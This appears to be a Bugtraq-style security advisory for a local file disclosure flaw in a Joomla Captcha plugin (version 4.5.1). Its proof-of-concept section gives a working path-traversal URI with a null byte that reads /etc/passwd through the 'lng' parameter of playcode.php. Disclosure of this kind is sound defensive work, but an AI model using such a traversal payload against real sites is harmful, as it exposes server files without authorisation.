Joomla Captcha Plugin 'playcode.php' Local File Disclosure Vulnerability

BID:45724

Info

Joomla Captcha Plugin 'playcode.php' Local File Disclosure Vulnerability

Bugtraq ID: 45724
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jan 09 2011 12:00AM
Updated: Jan 09 2011 12:00AM
Credit: dun
Vulnerable: Joomla Captcha Plugin 4.5.1
Not Vulnerable:

Exploit / POC

Joomla Captcha Plugin 'playcode.php' Local File Disclosure Vulnerability

Attackers may exploit this issue through a browser.

The following example URI is available:

http://www.example.com/plugins/system/captcha/playcode.php?lng=../../../../../../../etc/passwd%00

Solution / Fix

Joomla Captcha Plugin 'playcode.php' Local File Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Joomla Captcha Plugin 'playcode.php' Local File Disclosure Vulnerability

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